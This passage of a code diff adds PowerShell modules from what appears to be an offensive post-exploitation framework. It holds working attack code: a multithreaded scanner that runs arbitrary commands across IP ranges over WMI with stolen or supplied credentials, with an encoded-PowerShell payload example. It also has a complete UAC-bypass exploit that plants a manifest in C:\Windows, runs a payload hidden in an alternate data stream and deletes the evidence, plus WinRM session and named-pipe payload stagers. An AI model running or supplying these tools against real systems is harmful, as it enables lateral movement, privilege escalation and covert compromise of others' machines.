Invoke-WMIChecker -IPRangeCIDR 172.16.0.0/22 -Threads 100 -Allshares 1
|
||||
.EXAMPLE
|
||||
Invoke-WMIChecker -IPList C:\Temp\Hostlist.txt -Threads 30 -Allshares 0
|
||||
.INPUTS
|
||||
Inputs to this cmdlet (if any)
|
||||
.OUTPUTS
|
||||
Output from this cmdlet (if any)
|
||||
.NOTES
|
||||
General notes
|
||||
.COMPONENT
|
||||
The component this cmdlet belongs to
|
||||
.ROLE
|
||||
The role this cmdlet belongs to
|
||||
.FUNCTIONALITY
|
||||
The functionality that best describes this cmdlet
|
||||
#>
|
||||
function Invoke-WMIChecker
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$IPRangeCIDR,
|
||||
[Object]
|
||||
$IPList,
|
||||
[Object]
|
||||
$Threads,
|
||||
[Bool]
|
||||
$Allshares,
|
||||
[Object]
|
||||
$Command,
|
||||
[Object]
|
||||
$username,
|
||||
[Object]
|
||||
$password
|
||||
)
|
||||
|
||||
if ($username) {
|
||||
$PSS = ConvertTo-SecureString $password -AsPlainText -Force
|
||||
$getcreds = new-object system.management.automation.PSCredential $username,$PSS
|
||||
} else {
|
||||
$getcreds = Get-Credential
|
||||
}
|
||||
|
||||
if ($IPList) {$iprangefull = Get-Content $IPList}
|
||||
if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR}
|
||||
if ($IPAddress) {$iprangefull = $IPAddress}
|
||||
Write-Output ''
|
||||
Write-Output $iprangefull.count Total hosts read from file
|
||||
|
||||
$jobs = @()
|
||||
$start = get-date
|
||||
Write-Output `n"Begin Scanning at $start" -ForegroundColor Red
|
||||
|
||||
#Multithreading setup
|
||||
# create a pool of maxThread runspaces
|
||||
if (!$Threads){$Threads = 64}
|
||||
$pool = [runspacefactory]::CreateRunspacePool(1, $Threads)
|
||||
$pool.Open()
|
||||
$endpointResults = @()
|
||||
$jobs = @()
|
||||
$ps = @()
|
||||
$wait = @()
|
||||
|
||||
$i = 0
|
||||
#Loop through the endpoints starting a background job for each endpoint
|
||||
foreach ($endpoint in $iprangefull)
|
||||
{
|
||||
while ($($pool.GetAvailableRunspaces()) -le 0) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# create a "powershell pipeline runner"
|
||||
$ps += [powershell]::create()
|
||||
|
||||
# assign our pool of 3 runspaces to use
|
||||
$ps[$i].runspacepool = $pool
|
||||
|
||||
# command to run
|
||||
[void]$ps[$i].AddScript($runme)
|
||||
[void]$ps[$i].AddParameter('IPAddress', $endpoint)
|
||||
[void]$ps[$i].AddParameter('Creds', $getcreds)
|
||||
[void]$ps[$i].AddParameter('Allshares', $Allshares)
|
||||
[void]$ps[$i].AddParameter('Command', $Command)
|
||||
# start job
|
||||
$jobs += $ps[$i].BeginInvoke();
|
||||
|
||||
# store wait handles for WaitForAll call
|
||||
$wait += $jobs[$i].AsyncWaitHandle
|
||||
|
||||
$i++
|
||||
}
|
||||
|
||||
Write-Output 'Waiting for scanning threads to finish...' -ForegroundColor Cyan
|
||||
|
||||
$waitTimeout = get-date
|
||||
|
||||
while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# end async call
|
||||
for ($y = 0; $y -lt $i; $y++) {
|
||||
|
||||
try {
|
||||
# complete async job
|
||||
$endpointResults += $ps[$y].EndInvoke($jobs[$y])
|
||||
|
||||
} catch {
|
||||
|
||||
# oops-ee!
|
||||
write-warning "error: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
$ps[$y].Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
$pool.Dispose()
|
||||
|
||||
#Statistics
|
||||
$end = get-date
|
||||
$totaltime = $end - $start
|
||||
|
||||
Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" -ForegroundColor green
|
||||
$endpointResults
|
||||
}
|
|
@ -0,0 +1,327 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from CIDR
|
||||
|
||||
Get-IPRange 192.168.1.0/24
|
||||
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from Range
|
||||
|
||||
Get-IPRange -Range 192.168.1.1-192.168.1.50
|
||||
#>
|
||||
function New-IPv4Range
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$StartIP,
|
||||
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=2)]
|
||||
$EndIP
|
||||
)
|
||||
|
||||
# created by Dr. Tobias Weltner, MVP PowerShell
|
||||
$ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip1)
|
||||
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
|
||||
|
||||
$ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip2)
|
||||
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
|
||||
|
||||
for ($x=$ip1; $x -le $ip2; $x++) {
|
||||
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
|
||||
[Array]::Reverse($ip)
|
||||
$ip -join '.'
|
||||
}
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or
|
||||
range <StartIP>-<EndIP> format.
|
||||
.EXAMPLE
|
||||
PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5
|
||||
|
||||
Generate a collection of IPv4 Object collection for the specified range.
|
||||
|
||||
.EXAMPLE
|
||||
New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring
|
||||
|
||||
Get a list of IPv4 Addresses in a given range as a list for use in another tool.
|
||||
#>
|
||||
function New-IPRange
|
||||
{
|
||||
[CmdletBinding(DefaultParameterSetName='CIDR')]
|
||||
Param(
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'CIDR',
|
||||
Position=0)]
|
||||
[string]$CIDR,
|
||||
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'Range',
|
||||
Position=0)]
|
||||
[string]$Range
|
||||
)
|
||||
if($CIDR)
|
||||
{
|
||||
$IPPart,$MaskPart = $CIDR.Split('/')
|
||||
$AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily
|
||||
|
||||
# Get the family type for the IP (IPv4 or IPv6)
|
||||
$subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily)
|
||||
|
||||
# Get the Network and Brodcast Addressed
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj)
|
||||
|
||||
# Ensure we do not list the Network and Brodcast Address
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP)
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
elseif ($Range)
|
||||
{
|
||||
$StartIP, $EndIP = $range.split('-')
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a CIDR.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs
|
||||
PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29
|
||||
192.168.1.1
|
||||
192.168.1.2
|
||||
192.168.1.3
|
||||
192.168.1.4
|
||||
192.168.1.5
|
||||
192.168.1.6
|
||||
192.168.1.7
|
||||
#>
|
||||
function New-IPv4RangeFromCIDR
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$Network
|
||||
)
|
||||
# Extract the portions of the CIDR that will be needed
|
||||
$StrNetworkAddress = ($Network.split('/'))[0]
|
||||
[int]$NetworkLength = ($Network.split('/'))[1]
|
||||
$NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes()
|
||||
$IPLength = 32-$NetworkLength
|
||||
[Array]::Reverse($NetworkIP)
|
||||
$NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1
|
||||
$NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address
|
||||
$StartIP = $NetworkIP +1
|
||||
$EndIP = $NetworkIP + $NumberOfIPs
|
||||
# We make sure they are of type Double before conversion
|
||||
If ($EndIP -isnot [double])
|
||||
{
|
||||
$EndIP = $EndIP -as [double]
|
||||
}
|
||||
If ($StartIP -isnot [double])
|
||||
{
|
||||
$StartIP = $StartIP -as [double]
|
||||
}
|
||||
# We turn the start IP and end IP in to strings so they can be used.
|
||||
$StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString
|
||||
$EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString
|
||||
New-IPv4Range $StartIP $EndIP
|
||||
}
|
||||
|
||||
$runme =
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$Creds,
|
||||
[Object]
|
||||
$Command
|
||||
)
|
||||
|
||||
$getcreds = $Creds
|
||||
$Port = 135
|
||||
$Socket = New-Object Net.Sockets.TcpClient
|
||||
$Socket.client.ReceiveTimeout = 2000
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$Socket.Connect($IPAddress, $Port)
|
||||
$ErrorActionPreference = 'Continue'
|
||||
|
||||
if ($Socket.Connected) {
|
||||
#Object to store result
|
||||
$endpointResult = New-Object PSObject | Select-Object Host, PortOpen
|
||||
$endpointResult.PortOpen = 'Open'
|
||||
$endpointResult.Host = $IPAddress
|
||||
$Socket.Close()
|
||||
} else {
|
||||
$portclosed = 'True'
|
||||
}
|
||||
|
||||
$Socket = $null
|
||||
|
||||
if ($endpointResult.PortOpen -eq 'Open')
|
||||
{
|
||||
# run a command of my choice
|
||||
$WMIResult = Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $IPAddress -Credential $getcreds -ArgumentList $Command
|
||||
If ($WMIResult.Returnvalue -eq 0) {
|
||||
Write-Output "Executed WMI Command with Sucess: $Command `n"
|
||||
} else {
|
||||
Write-Output "WMI Command Failed - Could be due to permissions or UAC is enabled on the remote host, Try mounting the C$ share to check administrative access to the host"
|
||||
}
|
||||
} else {
|
||||
Write-Output "TCP Port 135 not available on host: $IPAddress"
|
||||
}
|
||||
return $endpointResult
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
WMI Command over Windows RPC Ports (TCP 135) - @benpturner
|
||||
.DESCRIPTION
|
||||
WMI Tool written to search for files younger than a month on network shares. This also searches is the current logged in user is part of the Local Administrators group. All communications is done over Windows RPC Ports (TCP 135)
|
||||
.EXAMPLE
|
||||
Invoke-WMIChecker -IPAddress 172.16.0.205
|
||||
.EXAMPLE
|
||||
Invoke-WMIChecker -IPRangeCIDR 172.16.0.0/22 -Threads 100 -Command "cmd /c echo 1"
|
||||
.EXAMPLE
|
||||
Invoke-WMIChecker -IPList C:\Temp\Hostlist.txt -Threads 30 -Command "powershell -e AB9300038494"
|
||||
.INPUTS
|
||||
Inputs to this cmdlet (if any)
|
||||
.OUTPUTS
|
||||
Output from this cmdlet (if any)
|
||||
.NOTES
|
||||
General notes
|
||||
.COMPONENT
|
||||
The component this cmdlet belongs to
|
||||
.ROLE
|
||||
The role this cmdlet belongs to
|
||||
.FUNCTIONALITY
|
||||
The functionality that best describes this cmdlet
|
||||
#>
|
||||
function Invoke-WMICommand
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$IPRangeCIDR,
|
||||
[Object]
|
||||
$IPList,
|
||||
[Object]
|
||||
$Threads,
|
||||
[Object]
|
||||
$Command,
|
||||
[Object]
|
||||
$username,
|
||||
[Object]
|
||||
$password
|
||||
)
|
||||
|
||||
if ($username) {
|
||||
$PSS = ConvertTo-SecureString $password -AsPlainText -Force
|
||||
$getcreds = new-object system.management.automation.PSCredential $username,$PSS
|
||||
} else {
|
||||
$getcreds = Get-Credential
|
||||
}
|
||||
|
||||
if ($IPList) {$iprangefull = Get-Content $IPList}
|
||||
if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR}
|
||||
if ($IPAddress) {$iprangefull = $IPAddress}
|
||||
Write-Output ''
|
||||
Write-Output $iprangefull.count + "Total hosts read from file"
|
||||
|
||||
$jobs = @()
|
||||
$start = get-date
|
||||
Write-Output "Begin Scanning at $start"
|
||||
|
||||
#Multithreading setup
|
||||
# create a pool of maxThread runspaces
|
||||
if (!$Threads){$Threads = 64}
|
||||
$pool = [runspacefactory]::CreateRunspacePool(1, $Threads)
|
||||
$pool.Open()
|
||||
$endpointResults = @()
|
||||
$jobs = @()
|
||||
$ps = @()
|
||||
$wait = @()
|
||||
|
||||
$i = 0
|
||||
#Loop through the endpoints starting a background job for each endpoint
|
||||
foreach ($endpoint in $iprangefull)
|
||||
{
|
||||
while ($($pool.GetAvailableRunspaces()) -le 0) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# create a "powershell pipeline runner"
|
||||
$ps += [powershell]::create()
|
||||
|
||||
# assign our pool of 3 runspaces to use
|
||||
$ps[$i].runspacepool = $pool
|
||||
|
||||
# command to run
|
||||
[void]$ps[$i].AddScript($runme)
|
||||
[void]$ps[$i].AddParameter('IPAddress', $endpoint)
|
||||
[void]$ps[$i].AddParameter('Creds', $getcreds)
|
||||
[void]$ps[$i].AddParameter('Command', $Command)
|
||||
# start job
|
||||
$jobs += $ps[$i].BeginInvoke();
|
||||
|
||||
# store wait handles for WaitForAll call
|
||||
$wait += $jobs[$i].AsyncWaitHandle
|
||||
|
||||
$i++
|
||||
}
|
||||
|
||||
Write-Output 'Waiting for scanning threads to finish...'
|
||||
|
||||
$waitTimeout = get-date
|
||||
|
||||
while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# end async call
|
||||
for ($y = 0; $y -lt $i; $y++) {
|
||||
|
||||
try {
|
||||
# complete async job
|
||||
$endpointResults += $ps[$y].EndInvoke($jobs[$y])
|
||||
|
||||
} catch {
|
||||
|
||||
# oops-ee!
|
||||
write-warning "error: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
$ps[$y].Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
$pool.Dispose()
|
||||
|
||||
#Statistics
|
||||
$end = get-date
|
||||
$totaltime = $end - $start
|
||||
|
||||
Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds"
|
||||
$endpointResults
|
||||
}
|
|
@ -0,0 +1,193 @@
|
|||
function Invoke-WScriptBypassUAC
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.
|
||||
|
||||
Author: @enigma0x3, @harmj0y, Vozzie
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute VBScript using the wscript executable
|
||||
with the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated.
|
||||
|
||||
.PARAMETER payload
|
||||
The code you want wscript.exe to run elevated. Put the full command in quotes.
|
||||
|
||||
.EXAMPLE
|
||||
Invoke-WScriptBypass -payload "powershell.exe -ep Bypass -WindowStyle Hidden -enc <base64>"
|
||||
|
||||
.LINK
|
||||
http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
|
||||
https://github.com/Vozzie/uacscript
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]
|
||||
$payload
|
||||
)
|
||||
|
||||
function Local:Get-TempFileName {
|
||||
#Generate Temporary File Name
|
||||
$sTempFolder = $env:Temp
|
||||
$sTempFolder = $sTempFolder + "\"
|
||||
$sTempFileName = [System.IO.Path]::GetRandomFileName() + ".tmp"
|
||||
$sTempFileName = $sTempFileName -split '\.',([regex]::matches($sTempFileName,"\.").count) -join ''
|
||||
$sTempFileNameFinal = $sTempFolder + $sTempFileName
|
||||
return $sTempFileNameFinal
|
||||
}
|
||||
|
||||
function Local:Invoke-CopyFile($sSource, $sTarget) {
|
||||
# Cab wscript, send to temp and then extract it from temp to $env:WINDIR
|
||||
$sTempFile = Get-TempFileName
|
||||
Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile"
|
||||
$null = wusa "$sTempFile" /extract:"$sTarget" /quiet
|
||||
|
||||
# sleep for 2 seconds to allow for extraction to finish
|
||||
Start-Sleep -s 2
|
||||
|
||||
# remove the temp files
|
||||
Remove-Item $sTempFile
|
||||
}
|
||||
|
||||
function Local:Invoke-WscriptTrigger {
|
||||
|
||||
$VBSfileName = [System.IO.Path]::GetRandomFileName() + ".vbs"
|
||||
$ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''
|
||||
|
||||
$VBSPayload = "Dim objShell:"
|
||||
$VBSPayload += "Dim oFso:"
|
||||
$VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):"
|
||||
$VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):"
|
||||
$VBSPayload += "command = ""$payload"":"
|
||||
$VBSPayload += "objShell.Run command, 0:"
|
||||
|
||||
# stupid command to kick off a background cmd process to delete the wscript and manifest
|
||||
$DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest"""""""""
|
||||
$VBSPayload += "command = ""$DelCommand"":"
|
||||
$VBSPayload += "objShell.Run command, 0:"
|
||||
$VBSPayload += "Set objShell = Nothing"
|
||||
|
||||
"[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`""
|
||||
$CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""}
|
||||
Invoke-Command -ScriptBlock $CreateWrapperADS
|
||||
|
||||
"[*] Executing VBS payload with modified scripting host"
|
||||
$ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""}
|
||||
Invoke-Command -ScriptBlock $ExecuteScript
|
||||
|
||||
"[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")"
|
||||
Remove-ADS $env:USERPROFILE\AppData:$ADSFile
|
||||
}
|
||||
|
||||
function Local:Invoke-WscriptElevate {
|
||||
|
||||
$WscriptManifest =
|
||||
@"
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
|
||||
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
|
||||
manifestVersion="1.0">
|
||||
<asmv3:trustInfo>
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</asmv3:trustInfo>
|
||||
<asmv3:application>
|
||||
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
|
||||
<autoElevate>true</autoElevate>
|
||||
<dpiAware>true</dpiAware>
|
||||
</asmv3:windowsSettings>
|
||||
</asmv3:application>
|
||||
</assembly>
|
||||
"@
|
||||
|
||||
# Copy and apply manifest to wscript.exe
|
||||
$sManifest = $env:Temp + "\wscript.exe.manifest"
|
||||
$WscriptManifest | Out-File $sManifest -Encoding UTF8
|
||||
|
||||
"[*] Cabbing and extracting manifest into $($env:WINDIR)"
|
||||
Invoke-CopyFile $sManifest $env:WINDIR
|
||||
|
||||
"[*] Cabbing and extracting wscript.exe into $($env:WINDIR)"
|
||||
$WScriptPath = "$($env:WINDIR)\System32\wscript.exe"
|
||||
Invoke-CopyFile $WScriptPath $env:WINDIR
|
||||
Remove-Item -Force $sManifest
|
||||
|
||||
# execute the payload
|
||||
Invoke-WscriptTrigger
|
||||
}
|
||||
|
||||
function Local:Remove-ADS {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes an alterate data stream from a specified location.
|
||||
P/Invoke code adapted from PowerSploit's Mayhem.psm1 module.
|
||||
Author: @harmj0y, @mattifestation
|
||||
License: BSD 3-Clause
|
||||
.LINK
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
|
||||
#>
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$ADSPath
|
||||
)
|
||||
|
||||
#region define P/Invoke types dynamically
|
||||
# stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
|
||||
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
|
||||
@('kernel32.dll'),
|
||||
[Reflection.FieldInfo[]]@($SetLastError),
|
||||
@($True))
|
||||
|
||||
# Define [Win32.Kernel32]::DeleteFile
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([String]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Ansi)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
$Kernel32 = $TypeBuilder.CreateType()
|
||||
|
||||
$Result = $Kernel32::DeleteFile($ADSPath)
|
||||
|
||||
if ($Result){
|
||||
Write-Verbose "Alternate Data Stream at $ADSPath successfully removed."
|
||||
}
|
||||
else{
|
||||
Write-Verbose "Alternate Data Stream at $ADSPath removal failure!"
|
||||
}
|
||||
}
|
||||
|
||||
#make sure we are running on vulnerable windows version (vista,7)
|
||||
$OSVersion = [Environment]::OSVersion.Version
|
||||
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))){
|
||||
if(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -eq $True){
|
||||
Write-Warning "[!] You are already elevated!"
|
||||
}
|
||||
else {
|
||||
Invoke-WscriptElevate
|
||||
}
|
||||
}else{Write-Warning "[!] Target Not Vulnerable"}
|
||||
}
|
||||
|
||||
Set-Alias Invoke-WScriptUACBypass Invoke-WScriptBypassUAC
|
|
@ -0,0 +1,26 @@
|
|||
Function Get-RandomName
|
||||
{
|
||||
param (
|
||||
[int]$Length
|
||||
)
|
||||
$set = 'abcdefghijklmnopqrstuvwxyz'.ToCharArray()
|
||||
$result = ''
|
||||
for ($x = 0; $x -lt $Length; $x++)
|
||||
{$result += $set | Get-Random}
|
||||
return $result
|
||||
}
|
||||
Function Invoke-WinRMSession {
|
||||
param (
|
||||
$username,
|
||||
$Password,
|
||||
$IPAddress
|
||||
)
|
||||
$PSS = ConvertTo-SecureString $password -AsPlainText -Force
|
||||
$getcreds = new-object system.management.automation.PSCredential $username,$PSS
|
||||
|
||||
$randomvar = (Get-RandomName 5)
|
||||
New-Variable -Name $randomvar -Scope Global -Value (New-PSSession -ComputerName $IPAddress -Credential $getcreds)
|
||||
$randomvar = "$"+"$randomvar"
|
||||
Return "`nSession opened, to run a command do the following:`nInvoke-Command -Session $randomvar -scriptblock {Get-Process} | out-string"
|
||||
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
$scriptblock =
|
||||
{
|
||||
param ($Payload)
|
||||
$PipeName = "PoshMS"
|
||||
$p = [System.IO.Directory]::GetFiles("\\.\\pipe\\")
|
||||
$start = $true
|
||||
foreach ($i in $p) {
|
||||
if ($i -like "*PoshMS") {
|
||||
$start = $false
|
||||
}
|
||||
}
|
||||
while ($start) {
|
||||
add-Type -assembly "System.Core"
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
|
||||
$pipe.WaitForConnection();
|
||||
|
||||
$pipeReader = new-object System.IO.StreamReader($pipe)
|
||||
$pipeWriter = new-object System.IO.StreamWriter($pipe)
|
||||
$pipeWriter.AutoFlush = $true
|
||||
$pipeWriter.WriteLine($Payload);
|
||||
|
||||
$pipeReader.Dispose();
|
||||
$pipe.Dispose();
|
||||
}
|
||||
exit
|
||||
}
|
||||
add-Type -assembly "System.Core"
|
||||
|
||||
$MaxThreads = 5
|
||||
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads)
|
||||
$RunspacePool.Open()
|
||||
$Jobs = @()
|
||||
$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($payload)
|
||||
$Job.RunspacePool = $RunspacePool
|
||||
$Job.BeginInvoke() | Out-Null
|
||||
|
||||
$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMS");
|
||||
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
$scriptblock =
|
||||
{
|
||||
param ($Payload)
|
||||
$PipeName = "PoshMSDaisy"
|
||||
$p = [System.IO.Directory]::GetFiles("\\.\\pipe\\")
|
||||
$start = $true
|
||||
foreach ($i in $p) {
|
||||
if ($i -like "*PoshMSDaisy") {
|
||||
$start = $false
|
||||
}
|
||||
}
|
||||
while ($start) {
|
||||
add-Type -assembly "System.Core"
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
|
||||
$pipe.WaitForConnection();
|
||||
|
||||
$pipeReader = new-object System.IO.StreamReader($pipe)
|
||||
$pipeWriter = new-object System.IO.StreamWriter($pipe)
|
||||
$pipeWriter.AutoFlush = $true
|
||||
$pipeWriter.WriteLine($Payload);
|
||||
|
||||
$pipeReader.Dispose();
|
||||
$pipe.Dispose();
|
||||
}
|
||||
exit
|
||||
}
|
||||
add-Type -assembly "System.Core"
|
||||
|
||||
$MaxThreads = 5
|
||||
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads)
|
||||
$RunspacePool.Open()
|
||||
$Jobs = @()
|
||||
$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($daisypayload)
|
||||
$Job.RunspacePool = $RunspacePool
|
||||
$Job.BeginInvoke() | Out-Null
|
||||
|
||||
$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSDaisy");
|
||||
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
$scriptblock =
|
||||
{
|
||||
param ($Payload)
|
||||
$PipeName = "PoshMSProxy"
|
||||
$p = [System.IO.Directory]::GetFiles("\\.\\pipe\\")
|
||||
$start = $true
|
||||
foreach ($i in $p) {
|
||||
if ($i -like "*PoshMSProxy") {
|
||||
$start = $false
|
||||
}
|
||||
}
|
||||
while ($start) {
|
||||
add-Type -assembly "System.Core"
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
